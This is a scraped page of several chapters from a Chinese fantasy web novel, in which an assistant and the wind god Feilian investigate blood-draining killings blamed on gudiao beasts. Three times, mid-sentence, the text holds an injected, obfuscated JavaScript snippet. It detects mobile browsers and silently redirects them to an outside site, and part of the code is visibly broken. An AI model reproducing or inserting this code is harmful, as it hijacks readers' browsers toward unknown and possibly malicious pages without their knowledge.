《风神助理今天也在求贴贴》 3. 3.爱狐(三) “吃过饭之后我们要出去。”飞廉看了一眼窗外的天色,风力已经小了很多,天色还是很灰暗。 “干什么?”甘霖喝下水顺了顺胃里的东西。 “处理公事。” 甘霖正要问问是什么公事,桌前突然站了一个人,“飞廉大人。” 他抬头一看,面前站了一位非常符合刻板印象,穿着一身新中式的白色套装,长发像古人一样挽起,看着仙风道骨的,放在普通人里也算是俊美秀气,但甘霖今天在食堂见了太多真正的“天人”,更不要说还有飞廉和孰湖这样风华绝代的,再看这个人,就觉得有些寡淡。 但让甘霖多看了这人两眼的并不是对方的外貌,而是对方的眼神。 对比孰湖看飞廉时热忱而崇敬的目光来说,这个人看飞廉的感觉有点轻视和无礼,虽然叫了一声“飞廉大人”,但感受不到半分的尊敬,就连眼神都只是从飞廉身上短暂地停留了一下,把手里的文件袋放下后就抬起了下巴,也不知道在高傲什么。 甘霖虽然是个新来的,但对这样的态度却一点也不陌生,因为今天下午飞廉带他进了食堂以后,有好几个人都是这样的。 明明对着别人谈笑风生,看到飞廉走过去的时候却突然闭嘴,明明看见别的领导也“主任长主任短”地打招呼,却完全无视了飞廉。 要说飞廉是新官上任所以对他不熟甘霖也能理解,可他明显感觉到那些人就是故意的,就好像是为了表明一种立场,故意做给飞廉看的一样。 不知道飞廉是感觉不到,还是无所谓,从头到尾都是一个表情,没有什么反应。 甘霖觉得很奇怪,原来“非人类”和他们这些凡人也一样,处处都有拉帮结派和团体倾轧,怪有意思的。 “甘霖,他叫丁令威,是我们另一个同事。”孰湖热情地介绍了一下。 丁令威勉为其难地对甘霖点了点头。 甘霖粲然一笑,眉眼弯弯,一副阳光男大的模样,伸出右手,“你好,以后还要请你多多关照。” 这一下倒是把这个叫丁令威的弄得有些尴尬,勉为其难伸出手,捏了一下他的指尖就松开了,挂着脸道:“你好。” 飞廉从文件中抬眼,用余光看了下他们交握的手,又收回了眼神。 “老丁是凡人修道成仙的哦。”孰湖继续说,“以前和你一样。” 原来如此,怪不得长相略显普通,甘霖默默想。 不过这个丁令威显然不想被人提起自己曾经是凡人的事,脸色立刻变得很难看。 “那肯定还是不一样的,我是真的凡人,丁大人那都是过去式了。”甘霖笑着说,大眼睛满是真诚,“丁大人能得道肯定很厉害吧?” 果然甘霖这么一说,那个丁令威的脸色好看了不少。 “走吧。”飞廉把文件袋递给甘霖,起身朝外面走去,“孰湖,你俩去把甘霖的入职手续办了,五险一金之类的资料也准备好。” “好的!飞廉大人,你们一定要小心啊!”孰湖就差挥舞小手绢了。 无论如何,甘霖对于自己的第一次外勤工作,还是有那么点激动的。 不过他怎么也不会想到,神仙的坐驾居然是一辆几千万的布加迪·威龙。 “你……开这个车去工作?”甘霖惊愕,他是不是该问问自己一个月工资多少钱,是不是工作一年躺赢一辈子的那种超级高薪。 “不喜欢吗?”飞廉反问,“可以换。” 嗯? 他还以为飞廉的爱好是收藏跑车,眼前的布加迪就变成了另外一辆他不知道名字但也绝对不便宜的车。 “原来是变出来的。”甘霖看向飞廉,“神仙不都会瞬间移动吗,干嘛还要专门变出一辆车?” “瞬移会增加暴露风险,非必要不可乱用。”飞廉解释,“驻凡就要有凡人的样子。” 甘霖点点头表示理解,的确,现在到处都是监控摄像头,要是某个地方突然出现一个人,一定会上灵异事件报道的。 飞廉打开副驾的车门,示意甘霖进去。 一切准备好后,车子驶出了院子。 “没想到有一天我居然也能坐上这么贵的车。”甘霖感叹一声。 虽然方向盘只是自己在那里诡异地转动,但这辆车完全看不出是变的。 “我可以给你也变一辆。”飞廉从手中的资料抬起头看向甘霖,语气平静,没什么表情。 甘霖赶紧摆摆手,开玩笑道,“算了算了,你要是真想补偿我,就干脆送我一辆房车,我停在办事处的停车场,就当员工宿舍了。”省得他还要找地方住。 “可以。”飞廉答应得很爽快。 “你为什么会选一辆这么……拉风的车?”甘霖本来想说骚包的,和飞廉惹眼的惊艳外形不同,他给甘霖的感觉很低调,不像是那种注重物质享受的类型。 “这上面挑的。”飞廉看了一眼手边的豪车图册。 原来如此。 甘霖看着前面的堵车长龙撇撇嘴,“有什么用?电动车还快一点。” “这是这次需要处理的事件资料,你先熟悉一下。”飞廉单方面结束了这个没有营养的话题。 甘霖接过文件,低头看了起来。 是好几起野生动物伤人至重伤甚至死亡的案件,受害人有老有少,时间有早有晚,但奇怪就奇怪在地点上,分布在市区各个地方,毫无规律。 “野生动物?市区?”要不是看见卷宗上明晃晃的那些警局公章,甘霖都要怀疑这文件是造假的,“动物园门塌了?” “无法确定动物种类,现在正要去看。” 飞廉看的那份是案发现场的照片,甘霖打眼一扫,就看到满纸红色,各种血肉模糊。 “可是这种事为什么要找我们啊,不应该去查查监控,然后找找那种野生动物专家什么的吗?”甘霖问。 飞廉抬头,右手从中控台的平板上划过轻轻往空中一甩,他们面前立刻出现了像是全息投影一样的幻象,正是平板里面警方传过来的监控视频。 甘霖顾不得看视频内容,他伸手,看着自己的手穿过画面,表情惊讶又惊喜,看向飞廉,眼睛圆丢丢的,“哇,真的是神仙才能做到的事情哎,也太帅了吧。” 飞廉坐直了一些,右耳的宝石蓝色耳坠轻轻晃了晃,流光溢彩的光晕在车里闪了一下,好像疏朗星空一般。 甘霖默默看呆了。 飞廉瞥了他一眼,“看视频。” 甘霖丝毫没有被抓包的羞涩,反而笑得坦然又灿烂,眉眼弯弯,酒窝甜甜,“抱歉,主要你太好看了。” 飞廉似乎是无语一下,但对他的言行并没有很意外,也不管他了,直接自己看视频了。 甘霖这才看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152056|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投射出来的视频。 虽然案发时间既有白天也有晚上,但神奇的是拍到的画面都不是很清晰,而且这个不清晰不是指视频的质量,而是行凶的动物。 不管在哪段视频中,看着都是一个模糊的,类似黑色大狗的模样,突然就从画面的外面窜了进来,一口咬住被害人的身体,无论被害人怎么挣扎都不松口,看到有人过来就慌忙逃窜,消失在画面中了。 简直像是专门训练过的一样。 而且其中有一段,被害人被咬住的地方就在路灯下面,离摄像头不过几米远,画面清晰到甘霖咬着手指能看清被害人脸上痛苦恐惧的表情,可撕咬人的那只疑似大黑狗的东西依然看不清。 那个东西就好像是一团有着犬类动物轮廓的黑雾,怎么看都看不到细节。 画面实在太过残忍,更不要说受害者里最大的是一位七十四岁的老太太,最小的是一位十六岁的高中男孩了。 一般人可能都坚持不了十几秒,会被画面冲击得恶心呕吐,甘霖也觉得不适,但依然看得很认真,不放过任何一个细节,他没有任何查案的经验,不说立功了,只求自己别拖后腿。 飞廉看了他一眼,眼神有些讶异,等视频播放完后,他一个响指,眼前的幻象就消失了。 他低头看着卷宗,伸手递给甘霖一瓶矿泉水,“警方并没有从伤口残留的唾液上提取到任何犬类生物的基因。” 甘霖接过水咕嘟咕嘟灌了半瓶下去,他没觉得自己笨过,但现在这个问题显然已经超出了他的认知范围,“那到底是什么?” “这就是我们要调查清楚的事情了。”飞廉道。 他们很快到了市局的刑侦总队,飞廉初到任,还是第一次和官方打交道,甘霖又是一个加入不过才一天的新人,谁也不认识他们俩,还以为他们是来报警的。 “要是有什么事儿的话,要先去案发地所属的派出所。”一个端着茶缸子出来的老警察说道。 “我们是非正常事件处理科的,找刑侦队长林安。”飞廉是经过岗前培训的,话术都已经学会了。 “哦。”老警察一脸恍然大悟,然后摇摇头,“没听说过,不过走到头那间大办公室就是。” 刑侦队的办公室很大,只有四五个警察在,一个个都挂着黑眼圈,眼袋都快垂到嘴角了,一看就是因为案子几乎没睡过觉。 有人进来了他们几乎也没什么反应,一副大脑过度加载,身体被掏空的模样。 窗前最大的桌子,上面的卷宗也比别人多得多,高高的文件后面探出个脑袋,五官俊朗,不超过三厘米的板寸,气质周正,但一脸烦躁,透着匪气。 他看着飞廉,声音嘶哑低沉,“你就是外勤科的新科长,要看受害者遗体的,飞廉?” 听对方这个语气,倒像是很习惯这种事情了,难不成警察这边也有专门和神仙打交道的人? 甘霖跟在飞廉的后面边走边想,没注意就要一头砸在飞廉后背的时候,忽然一股柔柔的风拂在他脸上,将他的脑袋轻轻推开了。 他懵懵抬头,正好看到飞廉侧头看了他一眼,眉眼深邃,睫羽舒张。 一切都是慢动作,飞廉耳畔的坠子给他漆黑的眸子沾了点蓝色,如夜空将明一般,甘霖看呆了,脑子里只剩一句记不大清楚的诗。 回眸一顾转嫣然,恰似三生石畔旧因缘 4. 4.爱狐(四) 林安没有多说废话,直接带他们去了法医室。 法医室外面,走廊冷冰冰的金属椅子上,坐着好几个人,因为椅子不够,还有几个人坐在地板上。 “都是死者家属,等着结果,要把遗体带回去安葬。”林安压低声音解释道。 他们从那些人面前走过,甘霖看到了一双双因为太过悲伤而呆滞无神的眼睛,其中一对依偎坐在地上的夫妇尤其年轻,不到四十岁的样子,他猜测他们应该就是那个十六岁高中生的父母。 一月份本来就很冷了,法医室感觉更是和室外差不多,甘霖不由得打了个寒噤。 法医熟练地拉出一个个柜子,“五具遗体,都在这儿了。” 飞廉和甘霖上前察看,不约而同地蹙起了眉。 就算甘霖第一次接触刑侦尸检,也能看出不对——伤口太小了。 他在车里看的监控视频,行凶的是一团犬状的黑影,看大小,至少有大型犬那么大,根据比例,他们在人的身体上留下的伤口应该也相当可怖,可眼前看到的,和他预想的完全不同。 “我做法医快三十年,从来没有见过这么离奇的伤,比起撕咬,更像是被一种圆锥形的凶器贯穿了,伤口最大直径不超过五厘米,最深处有十五六厘米,就像一个尖细的小漏斗。”法医说着掀开一具遗体身上的白布,“五具遗体浑身都有不同程度的伤,但致命的都在颈动脉,凶案现场没有多少血,但受害者全都死于失血过多,身体里残留的血量几乎不到五分之一。” 飞廉抬头,“就像凶手用你说的那个漏斗吸干了他们的血?” 这种事情实在太过匪夷所思,但法医也只能脸色难看的点点头,“可以这么说,我实在没法把这种伤口和任何一种生物联系在一起。” 林安紧盯着飞廉的脸,“你有什么想法吗?” 飞廉没说话,甘霖指着伤口,“飞廉大人,伤口周围那些黑红色的污迹是凶手留下的吗?” 他话音刚落,林安和法医的脸色都变了,飞廉也回头看他,眼神异样。 “怎么了?”甘霖不明所以。 林安和法医:“哪里有黑红色的污迹?” 飞廉:“你也能看到?” 甘霖:…… 他就觉得奇怪,电视上法医解剖过的尸体都清理得干干净净,怎么这几具到处都是像血又不是血的黑红色污渍,原来普通人是看不到的。 “我不是告诉过你我能看到吗,不然我怎么会成为你的助理?”甘霖凑到飞廉耳边小声道。 飞廉微微往后撤了一点,甘霖感觉对方的表情有些不耐,才意识到自己刚才离对方太近了,说话的呼吸喷在了飞廉耳边,他正要道歉,发现飞廉的耳朵有些红,虽然因为皮肤黑不是很明显。 “那不一样,你看到的是实体,这些痕迹只是灵力的残留,不要说普通人了,就是灵力低微的一般妖怪精灵,都不一定能看得到。”飞廉说着看了他一眼。 不知道为什么,甘霖总觉得飞廉眼神有些奇怪,但也没多想,只是觉得飞廉刚才耳红的反应有些好笑,这到底是从哪个洞天福地出来的老古董啊,这么纯情。 “那岂不是说明我很厉害。”甘霖用套近乎的语气说道。 飞廉没搭理他,对林安道,“这个事情不是你们能解决的,之后你们就别管了。” 林安有些生气,“你说什么!” 飞廉淡淡地看他,“如果你们能解决的话,我也不会站在这里了,这一点,你应该知道。” 林安挫败地爆了一句粗口,喘了几口气,“你看见等在外面的那些家属了吧,不管怎么样,我们总要给他们一个交代。” 飞廉看着他,“那你就告诉他们,凶手是妖怪。” 他这句话一说完,甘霖明显感受到法医室的气温又低了两度,法医面色难看,林安更是在爆发的边缘。 虽然他知道飞廉这句话没有任何情绪,就是平铺直叙,就事论事,但在林安的耳朵里,估计和挑衅差不多。 “飞廉大人。”甘霖赶紧过去挡在两人中间,“抱歉林队长,我们科长对情况不是很了解,绝对没有别的意思,他在山里面呆久了,脑子有点那个……你懂的。” 然后他又转身对着飞廉,“大人,这是个科学的世界,你说的这些妖魔鬼怪的,是绝对不能被普通人知道的。” “为什么?”飞廉不解,“以前我们和凡人都是杂居生活的。” 甘霖无语,飞廉说的是多久的以前啊,从三界分开开始,凡人以外的神仙妖怪就变得越来越讳莫如深,最后成为虚构传说一般的存在了吧。 “总之,就算你和家属说了他们是被妖怪害死的,家属也绝对不会接受,只会觉得我们是在敷衍,是在找借口。”甘霖道。 飞廉看着林安,“我负责找出真凶,你负责和家属解释。” 林安已经平静了不少,“知道了。” 法医拿出伤口处倒模出来的凶器模型,“伤口交错横生,都破破糟糟的,只能勉强从还算完整的伤口处做出这个模型,虽然几人身上留下的伤口显示凶器大小不一,但差不太多。” 甘霖一看,说是圆锥,其实带着一点弧度,更像是从某种野兽口腔里掰下来的牙齿,或者说像缩小十几倍的小象牙。 飞廉看了一眼,转身向门口走去,“我们走。” 甘霖赶紧跟上去,“飞廉大人,你已经知道真凶是什么了吗?” “嗯。” 两人离开法医室,朝外走去,甘霖的胳膊突然被拉住,他回头一看,就是他刚才觉得很年轻的那位夫妇里的妻子。 “你好?”甘霖不知道她要干什么,试探着问道。 女人抬起疲惫死气的眼睛看向他,“你是来调查案件的人吗?” 甘霖回头看了一眼,飞廉已经停下了脚步,侧身站在一扇窗户前,右耳的耳坠轻晃,像是在等他。 “算是吧。”他含糊道,其实他并不能做什么,这件事情想要水落石出,还是只能靠飞廉。 女人继续追问,“那我什么时候能把我儿子带回去?” 甘霖迟疑了一下,飞廉看过遗体以后,能得到的线索已经没了,这个时候把遗体还给家属应该也可以,但这是警察的事情,不是他能置喙的,所以他也没有办法回答。 “他们是我们请来的专家,只负责协助查案,这些问题你们和我说就行了。”林安走出法医室,轻轻抓住了那个女人的胳膊,“遗体的检查已经完成了,你们很快就能将遗体带回去了。” 女人缓慢又迟钝地眨了一下眼睛,枯槁的眼中满溢的痛苦随着一滴泪水滑落,在她沾满沙尘的脸上冲刷出一条沟壑。 甘霖看了看她,最后还是什么都没说,抽出自己的胳膊,朝着飞廉走去,两人一起离开了警局。 “我们现在要做什么?”上车后甘霖问。 飞廉摆了一下手指,车子自动行驶,上路混入了车流,“回单位。” 两个人回了神仙驻凡办事处,甘霖跟着飞廉来到了八楼的一间办公室,上面挂着“凡人外管理科”的牌子。 “什么叫凡人外? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152057|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “就是除了凡人和神仙以外的所有妖魔鬼怪精灵,都要在这里登记造册,接受监管和定期核查。” “那岂不是超级庞大的数量?” “现在灵气衰败,很多精怪都已经陨灭,剩下存活的也只会越来越少。”飞廉推开门。 即便如此,数量也不可小觑,进去一看,果然不出甘霖所料,这间办公室超级大,看上去有一千多平米,整齐地放着很多办公桌,差不多有两百个工位。 看来他之前估计这个单位有一百多个人还是太保守了。 “飞廉大人,别来无恙,听说你来任职了,还没来得及前去拜谒,请勿怪罪。” 一位水绿色长发,肤白胜雪,雌雄莫辩的绝世美男悠然飘落在他们面前,甘霖心里吹了个不正经的口哨,绝色啊。 “无妨。”飞廉向甘霖介绍,“这是白泽,人外科的科长。” 哇哦,这就是大名鼎鼎的白泽啊,来了这一天,甘霖可算是见到一位听说过名号的神仙了,还是传说中对所有精怪无一不知无一不晓的白泽,甘霖笑着伸出手,“久闻大名,白泽大人风姿傲然,不同凡响啊。” 白泽笑着和他握了握手,看着没有介绍意思的飞廉主动问,“这位是?” “甘霖,我的助理。”飞廉没有再废话,“我来查点东西。” “那我来接待。”白泽飘着往里走,那他们两个带到角落自己的办公室,“飞廉大人要查什么?” “现在世上还剩多少只蛊雕?”飞廉问。 甘霖还等着白泽敲键盘查电脑呢,白泽只是微微沉吟了一下,“三百六十四只,有几个大的族群在高原深山找到了一些灵力元,数量比起去年增加了十几个。” “灵力元是什么?”甘霖悄悄问飞廉。 他声音已经压得很低了,但白泽还是听到了,“就是一些灵力比较丰沛的地方,对凡人外的修炼和繁衍比较友好,一般都是一些灵泉洞府之类的,但也有可能是一棵神木或一块灵石的所在。” 飞廉看了白泽一眼,“就是他说的那样。” “哦。”甘霖觉得飞廉这句话有些多此一举,但也没说什么,“那蛊雕就是这次事件的真凶吗?” “蛊雕虽然吃人,但那已经是一百多年前的时候了,从上个世纪四五十年代开始,所有的凡人外都不许吃人,没有许可,轻易也不能进入人类社会,否则只有死路一条,况且蛊雕并不是什么强大有智慧的凶兽,我不认为他们有胆量进入这座城市犯下罪行。”白泽道。 飞廉又看了白泽一眼,点点头,“事情不会这么简单。” 白泽忽然笑了起来,美人一笑真如春花绽放,绚烂夺目,甘霖再次看呆。 “抱歉,甘霖是飞廉大人的助理,有些事情是该您亲自教导,不该我多嘴。”话虽如此,甘霖也没从白泽脸上看到一丝抱歉,反而充满戏谑。 “飞廉大人不爱说话。”甘霖看着白泽的眼神很热切,“白泽大人,你可能是神仙驻凡办事处最渊博的人了,我初来乍到什么都不懂,以后有什么问题能不能来找你学习啊?” “当然可以。”白泽撩了撩头发,掏出手机,“加个微信。” 甘霖赶紧拿出自己的二手机,“多谢白泽大人。” 加完好友一回头,发现飞廉脸色黑了,甘霖不明所以,赶紧解释,“飞廉大人请放心,工作外的时间内,我绝不会打扰你的。” 白泽笑出了声,“放心找我,我肯定知无不言言无不尽。” 飞廉:“不要浪费时间,说正事。” 5.5.爱狐(五) 正事当然就是继续讨论蛊雕的事情。 “蛊雕长什么样子?”甘霖忍不住问,听这个名字像是一种鸟兽,但视频上看明明就是犬科啊。 白泽“哦”了一声,“这位小朋友没见过蛊雕。”说完抬手一挥,一个幻想就出现在了办公室中间,和飞廉给甘霖看警方发来的监控视频时的一模一样。 甘霖再次感叹,随身自带全息投影,神仙真是太方便了。 白泽投射出来的只是一张图片,就跟百科图鉴里面的科普图一样,不过是超高清的,所有细节纤毫毕现,甘霖在看到的一瞬,就确定这玩意儿绝对是凶手。 画面中的蛊雕乍一看就和大型猛禽差不多,灰棕色的羽毛有些蓬乱,头上长着山羊一样的一对螺旋向上的大角,最关键的就是那个长而尖利的喙,和法医倒模出来的凶器模型一模一样。 他忍不住站起来绕着投影看了一圈,忍不住汗毛直竖,“咦惹,这个东西长得好恶心,没有爪子啊,那他们怎么站得住?” “蛊雕是群居异兽,一般都是紧紧挤在一起来保持身体平衡的,不过就算是单只,他们也能用巨大的翅膀支在地上稳住身体。”白泽结实。 飞廉道:“市内有登记在案的蛊雕吗,近期的动向怎么样?” 白泽摇头,“没有,毕竟是首都,人口多,阳气重,灵气稀薄,不适合妖怪精灵,没有什么必要的原因,像蛊雕这种几乎没有什么灵智的异兽是不会来的。” “其他地方的蛊雕呢,数量和动态都正常吗?” “分部的职员没有报告异常……”白泽话都没说完,办公室的门就被推开了,一个牛头人冲了进来,“大人不好了!” “怎么了,有人约你吃烤肉要你自带牛舌?”白泽懒洋洋地问。 牛头人顾不上抗议这个地狱笑话,“大人,西北九区分部的人刚才报告,昆仑北灵力元附近的蛊雕群少了好几只蛊雕。” 白泽没了散漫随意的样子,表情瞬间严肃,“什么时候的事情,少了几只,灵力追踪了吗?” 牛头人看着手中的文件,“具体时间不知,但半个月前定期巡查的时候数量还是正常的,少了十只,灵力追踪朝南一百多公里后就消失了,不知所踪。” “问过头领了吗?”飞廉问。 虽然蛊雕不会人言,但一般大的族群头领会产生类似进化的效果,智能灵力都比族群强很多,可以交流。 虽然是个牛头,但甘霖依然能看出对方表情很难看,果然,牛头人递出一张照片,“头领被杀了,斩首,那个蛊雕群有七十多只蛊雕,是族群规模最庞大的一个,现在群龙无首整个都乱了,吃了周围牧民家的不少牲畜,西北区的负责人已经派人去善后,张开结界囚禁了剩余的蛊雕。” “果然有问题,你做好蛊雕那边的工作,至于失踪的那十只,我会负责查清的。”飞廉站起身。 白泽点头,“那就拜托飞廉大人了。” “大人,这些蛊雕怎么办,一个头领要上千年才能修炼出来,也不能就这么一直关在结界里,分散送去别的族群也不会被接收,要是一直派人看着那人力物力消耗就太大了,而且肯定没人愿意去。”牛头人为难道。 白泽叹息,“实在不行就送去幽都,交给承泣处理吧。” 甘霖跟在飞廉后头本来都拉开门要走了,飞廉却突然停下脚步回过头,“你不要什么东西处理不了就扔去幽都给承泣,他年纪尚小资历尚浅,工作本来就不好做。” “啧啧。”白泽摆摆手,“知道了,这还没做什么呢,你倒是心疼上了。” 甘霖仿佛听到了一个了不得的大瓜,默默挑了挑眉。 这个承泣就是他先前见过的那位肤白貌美、淡漠入睡,精致清俊带着少年感的男神仙,是现任酆都大帝,幽都冥君,俗称阴间一把手,也是特赦让他还阳的那位。 那天的事情他到现在都还历历在目,看到对方第一眼时的惊艳感也记忆犹新。 听白泽这语气,飞廉和承泣似乎是有什么更亲近的关系。 黑皮上位攻,白皮少年受,甘霖又默默地磕上了,“飞廉大人,有个问题不知当不当问。” “说。” “你和冥君大人是一对,呃,情人吗?”甘霖想说男朋友的,但怕飞廉这个老古董听不懂。 “什么?”飞廉猛然回头,电梯轿厢似乎都震动了一下。 甘霖吓了一跳,看着飞廉前所未有紧皱的眉头,感觉对方好像在用眼神狠狠鞭笞自己,嘴唇也紧绷到发白,他都已经做好被飞廉骂一顿的准备了,但飞廉最后也只是冷下眼神,转身扔下一句“你想多了”。 飞廉克制了自己瞬间的怒火,有社畜自觉甘霖可不能没眼色,把这件事就这么轻飘飘揭过去,他赶紧上前道歉,“抱歉,飞廉大人,是我说错话了。” 但飞廉一句话都没说,明显已经不想搭理他了。 甘霖还想问问已经过了下班时间了是不是要加班,或者说外勤科总是要加班的,结果飞廉带他回了办公室,“下班了,你走吧。” 好吧,本来他还想着加班的话就再套套近乎道个歉,看样子今天不适合道歉,不能在领导烦的时候继续打扰,还是要识时务一点,甘霖只能暂且撤退。 “甘霖,一起吃了晚饭再回去吧。”孰湖热情地招呼他,“我预订了两人份的火锅哦。” 甘霖十分感动,他还在为晚饭发愁呢,这时候被人邀请简直是恰逢其时,雪中送炭。 虽然飞廉是个脾气奇怪的冷脸大魔王,但孰湖是可爱小天使啊! 他立马过去,本来想摸摸孰湖的白毛脑袋的,但孰湖有两米多,硬摸姿势会很难看,所以他只能拍了拍孰湖的肩膀,“好孩子,真好,走,以后只要我在单位,晚饭必和你一起吃。” “是吗?”孰湖喜出望外,熟练的两手一抄,又把甘霖举了起来,还转了一圈。 甘霖腿都向外荡出去了,紧张得夹紧了臀大肌,哇哦,也是体会了一把灰姑娘转圈圈的感觉呢,被放在地面的时候,他都有些搞不清到底是孰湖力气太大还是他太瘦小。 “哈哈,挺棒的,力气真大,走吧。”甘霖干笑着和孰湖一起勾肩搭背地去食堂了。 下班时间已经过了一个小时,食堂里吃饭的没几个人,只有几个工作人员在收拾卫生,甘霖刚才问了,这些服务人员都是通过“凡人外再就业中心”来这里工作的,作为去社会工作前的培训和历练。 “婆婆,我来了,麻烦上火锅!”孰湖熟练地和大厨打招呼,然后向甘霖介绍,“大厨是灶神哦,三界手艺第一好,名不虚传!” 灶神?灶王爷!终于又听到一个熟悉的名字,甘霖好奇地隔着玻璃看向后厨。 灶台前,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159741|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身高可能还不到一米五的娃娃脸的小姑娘穿着白色厨师服,戴着白色厨师帽和透明的后厨口罩,正飘在半空中,抄着一把比她人还高的汤勺在一口直径一米多的大锅里不停地搅拌着。 “灶王爷是个女的?”甘霖道。 “毕竟以前后厨忙活的基本上都是女人。”灶神端着一个白玉小盅瞬间飘过来,声音也是脆生生的萝莉音,不过正面看,还是能很容易看出来她是个成年女性,眼神还有种与外表不相符的慈祥,让甘霖想到了以前孤儿院对他很好的那个婆婆。 “小湖,这个是我这几天精心熬煮的高汤,待会儿加到锅底里,鲜得你上天。”灶神把白玉小盅递给孰湖。 “谢谢灶神婆婆。”孰湖嘴巴甜得渗蜜,关键他蓝色的大眼睛单纯真诚,让人一眼就喜欢,完全不会觉得他是在拍马屁。 “这小伙子这么瘦,多吃点啊。”灶神看着甘霖,手一翻,掌心出现了一大盘切片的肉,一半红色一半粉色,一看就是极致的新鲜,“这是我打算晚上用来下酒的驳兽和五色神牛的肉,可以刺身,涮火锅也是一绝,分你一份,多吃点。” “好嘞,今天可真是沾了甘霖的光。”孰湖迫不及待地接过盘子。 “这是异兽生态养殖园送来的新品,量不多,等过段时间产量上来了,菜单会上的,看你那个馋样,赶紧吃去吧。”灶神摆摆手,又重新回到大锅前去了。 两人到桌前,一个甩着猫一样尾巴的女服务生已经布置好所有的东西离开了。 甘霖看着眼前金灿灿的铜锅和满满一桌的食材,喉头滚动了一下,“异兽生态养殖园?那是什么地方,异兽也能吃吗,他们不都是能说话能动的,感觉好像在吃人似的。”想到这里,他把刚才还垂涎三尺的那盘肉默默推远了一点。 孰湖已经毫不客气地把高汤倒进锅底,然后开始涮肉了,“异兽和人界的动物总归还是不一样的。” “人间的动物同属一种的基本上没有什么区别,但异兽和我们妖差不多,更多强调个体,比如五色神牛,虽然厉害的也有修炼得道成为神仙坐骑的,但大部分没有开智,不会化形也不会说话,除了天生自带的一些能力或功用之外,在我们眼里和普通的牛没啥区别。”孰湖解释道。 他把涮好的肉夹进甘霖的碗里,“养殖园的更不用说了,都是用灵器复制出来,刻意在快进法阵中缩短了养殖时间的,也就几十年道行,说吃了它们的肉有奇效都有点为难它们了,最多也就强身健体,安神补脑吧。” 孰湖这么一说甘霖就明白了,“成了五色神牛的才叫神牛,其他的不过就是五色牛而已,就好像进化成功的叫人,没成功的都叫猴子。” “对喽,吃吧,我们可是比人类更注重伦理问题呢。”孰湖大快朵颐,“这个汤简直是极品,婆婆在里面加了草仙菇。”他会吃会品,这也是为什么灶神喜欢给他开小灶的原因。 味道的确很好,甘霖这辈子还没吃过这么好吃的饭呢,可他却忽然想到一个奇怪的问题,“飞廉大人不吃晚饭吗?” “飞廉大人从来不吃饭。”孰湖喝了一口汤,“今天中午和你吃饭的这次,是他第一次来食堂。” “是吗。”甘霖莫名想起了电梯里他误以为飞廉和冥君承泣是一对时,对方猛回头的那个眼神。 好像不仅仅是被误会的愤怒,更深处还有一点……受伤? 6.6.爱狐(六)飞廉大人请救命! 甘霖看着眼前和猫一样腮帮子鼓鼓囊囊就没瘪下去过的孰湖,微笑着开始了套话。 社畜第一步,熟悉工作环境和同事关系,这是在职场的权力倾轧中夹缝求生的关键。 “孰湖,你好像很崇拜飞廉大人,你和他认识很久了吗?” 孰湖“吸溜”一声嗦进一根章鱼足一样的东西,眨巴着眼睛摇摇头,“没有啊,飞廉大人到任也就一星期而已,刚认识。” 甘霖算了算,也对,他是飞廉上任时被对方意外致死的,幽都转了一圈用了三天,复生还阳后又在医院住了三天,今天刚好是第七天。 “那你为什么那么崇拜他,他之前在什么地方,凡人外再就业中心培训?” 孰湖瞪大眼睛,“那可是飞廉大人,你不知道吗?他怎么会需要去培训啊。” “嗯……我该知道吗?”甘霖不是文科生,不是很了解历史文化,神话传说之类的东西,确实没有听说过这个名字。 “飞廉大人是现存唯一的上古神祇,从盘古大神创世陨落后就存在至今了,有几万岁了吧,几千年前,他还纡尊降贵当过那时候的天帝帝鸿大神的战神,一路打败宵小异族和祸乱人间的妖魔,为三界分治立下汗马功劳,可以说是现存神仙里面最强大的,这样厉害的神,我当然很崇拜啦。” 孰湖说得那叫一个抑扬顿挫,两眼放光,甘霖觉得给他一块惊堂木,他能现场说书。 “白泽不也是上古时期就存在至今的吗?”甘霖追问。 “不一样,白泽大人是上古灵兽,很多神仙原形都是灵兽,但飞廉大人不同,没有原形,硬说的话应该也是一股风吧。”孰湖挠了挠头,显然对这件事情知道得也很模糊,“他和上古时期的雷神惊泽,雨神屏翳并称三大自然神,他和雷神据说是盘古大神陨落时最后的气息和声音,雨神好像是盘古大神的一滴泪。” 原来如此,居然是这么厉害的角色,怪不得就连白泽都对飞廉很是恭敬,甘霖回忆着小时候看的儿童画本里关于盘古的故事,“怎么雨神不一样啊,他不应该是盘古的最后一滴汗吗?” “盘古大神的最后一滴汗成了三界云雨,没有成灵。”孰湖塞了满满一嘴肉,“我也不是很知道了,这都是我出生之前很久的事情了。” “那你知道他和幽都冥君承泣是什么关系吗,我今天好像说错话,惹他生气了。” 